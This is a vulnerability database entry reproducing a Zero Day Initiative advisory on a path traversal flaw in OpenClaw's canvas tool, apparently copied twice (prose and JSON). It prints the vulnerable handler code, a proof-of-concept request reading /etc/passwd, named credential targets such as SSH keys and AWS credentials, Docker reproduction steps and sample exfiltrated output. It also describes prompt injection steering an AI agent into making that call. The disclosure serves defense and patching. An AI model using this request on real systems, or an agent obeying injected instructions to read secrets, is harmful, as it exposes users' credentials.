BREW-OPENCLAW-CLI-CVE-20… (GHSA-JQ4X-98M3-GGQ6)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:21 – Updated: 2026-11-27 09:01 – Source website
VLAI
Summary
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
Details

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------ * Version tested: openclaw 2026.2.17 * Platform tested: macOS 26.3


Analysis

Description

The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.

Root Cause

In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:

case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
  return jsonResult({ ok: true });
}

The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is: - No allowlist of permitted directories - No canonicalization (path.resolve / realpath) - No check against directory traversal sequences (..) - No restriction to .jsonl file extensions

Attack Scenario

Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
  }
}

The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.

Reproduction Steps

Prerequisites

  • Docker installed
  • Python 3
  • OpenClaw Docker image built as openclaw:local

Steps

  1. Navigate to the PoC directory and start the environment: bash cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait

  2. This starts two containers:

  3. Gateway (openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701
  4. Node (openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)

  5. Wait a few seconds for the node to authenticate, then run the PoC: bash python3 poc.py

  6. The PoC runs three tests:

Test Description Result
1 ��� No auth POST /tools/invoke without token 401 Unauthorized
2 ��� Exploit POST /tools/invoke with token, jsonlPath=/etc/passwd 200 OK (file read)
3 ��� Exfiltration Check node container logs for received file contents /etc/passwd contents visible
  1. Test 2 sends: {"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads /etc/passwd via fs.readFile() and forwards the contents to the node via canvas.a2ui.pushJSONL. The node logs show the full exfiltrated file: [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ====== root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... node:x:1000:1000::/home/node:/bin/bash

  2. Cleanup: bash docker compose down -v

-- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative

-- FURTHER DETAILS ------------------------------

Supporting files: ZDI-CAN-29312.zip

If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.

Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:

Zero Day Initiative zdi-disclosures@trendmicro.com

The PGP key used for all ZDI vendor communications is available from:

http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc

-- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.

Please contact Zero Day Initiative for further details or refer to:

http://www.zerodayinitiative.com

-- DISCLOSURE POLICY ----------------------------

Zero Day Initiative's vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Fix Commit(s)

  • 39816e61b0c4347a83c9b76bc8883190cfe5a3c9
Impacted products
Ecosystem Package Version
Homebrew openclaw-cli
pkg:brew/openclaw-cli
Affected: < 2026.7.1 (ecosystem)

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "2026.2.21"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "openclaw-cli",
        "purl": "pkg:brew/openclaw-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/openclaw@2026.11.10",
        "name": "openclaw",
        "strategy": "registry",
        "subject_version": "2026.11.10"
      }
    ]
  },
  "details": "ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability\n\n-- ABSTRACT -------------------------------------\n\nTrend Micro\u0027s Zero Day Initiative has identified a vulnerability affecting the following products:\nOpenClaw - OpenClaw\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: openclaw 2026.2.17\n* Platform tested: macOS 26.3\n\n---\n\n# Analysis\n\n## Description\n\nThe OpenClaw gateway\u0027s `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.\n\nThe file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted.\n\n## Root Cause\n\nIn `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions:\n\n```typescript\ncase \"a2ui_push\": {\n  const jsonl =\n    typeof params.jsonl === \"string\" \u0026\u0026 params.jsonl.trim()\n      ? params.jsonl\n      : typeof params.jsonlPath === \"string\" \u0026\u0026 params.jsonlPath.trim()\n        ? await fs.readFile(params.jsonlPath.trim(), \"utf8\")  // \u003c-- NO PATH VALIDATION\n        : \"\";\n  if (!jsonl.trim()) {\n    throw new Error(\"jsonl or jsonlPath required\");\n  }\n  await invoke(\"canvas.a2ui.pushJSONL\", { jsonl });\n  return jsonResult({ ok: true });\n}\n```\n\nThe `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is:\n- No allowlist of permitted directories\n- No canonicalization (`path.resolve` / `realpath`)\n- No check against directory traversal sequences (`..`)\n- No restriction to `.jsonl` file extensions\n\n## Attack Scenario\n\n### Prompt Injection (Primary)\n\nOpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack \ufffd\ufffd\ufffd where malicious instructions are embedded in content the AI processes \ufffd\ufffd\ufffd can direct the agent to call:\n\n```\nPOST /tools/invoke\nAuthorization: Bearer \u003cagent\u0027s token\u003e\nContent-Type: application/json\n\n{\n  \"tool\": \"canvas\",\n  \"args\": {\n    \"action\": \"a2ui_push\",\n    \"jsonlPath\": \"/etc/passwd\",\n    \"node\": \"node-host\"\n  }\n}\n```\n\nThe gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node.\n\n## Reproduction Steps\n\n### Prerequisites\n- Docker installed\n- Python 3\n- OpenClaw Docker image built as `openclaw:local`\n\n### Steps\n\n1. Navigate to the PoC directory and start the environment:\n   ```bash\n   cd vulnerabilities/01-canvas-a2ui-push-lfi\n   docker compose up -d --wait\n   ```\n\n2. This starts two containers:\n   - **Gateway** (`openclaw-vuln-01-gateway`): Token-protected OpenClaw gateway on port 18701\n   - **Node** (`openclaw-vuln-01-node`): WebSocket node client that logs received data (simulates exfiltration)\n\n3. Wait a few seconds for the node to authenticate, then run the PoC:\n   ```bash\n   python3 poc.py\n   ```\n\n4. The PoC runs three tests:\n\n   | Test | Description | Result |\n   |------|-------------|--------|\n   | 1 \ufffd\ufffd\ufffd No auth | POST /tools/invoke without token | **401 Unauthorized** |\n   | 2 \ufffd\ufffd\ufffd Exploit | POST /tools/invoke with token, `jsonlPath=/etc/passwd` | **200 OK** (file read) |\n   | 3 \ufffd\ufffd\ufffd Exfiltration | Check node container logs for received file contents | **/etc/passwd contents visible** |\n\n5. Test 2 sends: `{\"tool\":\"canvas\",\"args\":{\"action\":\"a2ui_push\",\"jsonlPath\":\"/etc/passwd\",\"node\":\"node-host\"}}`. The gateway reads `/etc/passwd` via `fs.readFile()` and forwards the contents to the node via `canvas.a2ui.pushJSONL`. The node logs show the full exfiltrated file:\n   ```\n   [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ======\n   root:x:0:0:root:/root:/bin/bash\n   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n   ...\n   node:x:1000:1000::/home/node:/bin/bash\n   ```\n\n6. Cleanup:\n   ```bash\n   docker compose down -v\n   ```\n\n\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nPeter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative\n\n-- FURTHER DETAILS ------------------------------\n\nSupporting files: \n[ZDI-CAN-29312.zip](https://github.com/user-attachments/files/25445277/ZDI-CAN-29312.zip)\n\n\n\nIf supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number.\n\nPlease confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time:\n\nZero Day Initiative\nzdi-disclosures@trendmicro.com\n\nThe PGP key used for all ZDI vendor communications is available from:\n\n  http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc\n\n-- INFORMATION ABOUT THE ZDI --------------------\nEstablished by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available.\n\nPlease contact Zero Day Initiative for further details or refer to:\n\n  http://www.zerodayinitiative.com\n\n-- DISCLOSURE POLICY ----------------------------\n\nZero Day Initiative\u0027s vulnerability disclosure policy is available online at:\n\n  http://www.zerodayinitiative.com/advisories/disclosure_policy/\n    \n\n## Fix Commit(s)\n- `39816e61b0c4347a83c9b76bc8883190cfe5a3c9`",
  "id": "BREW-openclaw-cli-CVE-2026-3689",
  "modified": "2026-11-27T09:01:10Z",
  "published": "2026-08-13T17:21:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jq4x-98m3-ggq6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/39816e61b0c4347a83c9b76bc8883190cfe5a3c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw Canvas Path Traversal Information Disclosure Vulnerability",
  "upstream": [
    "GHSA-jq4x-98m3-ggq6",
    "CVE-2026-3689"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.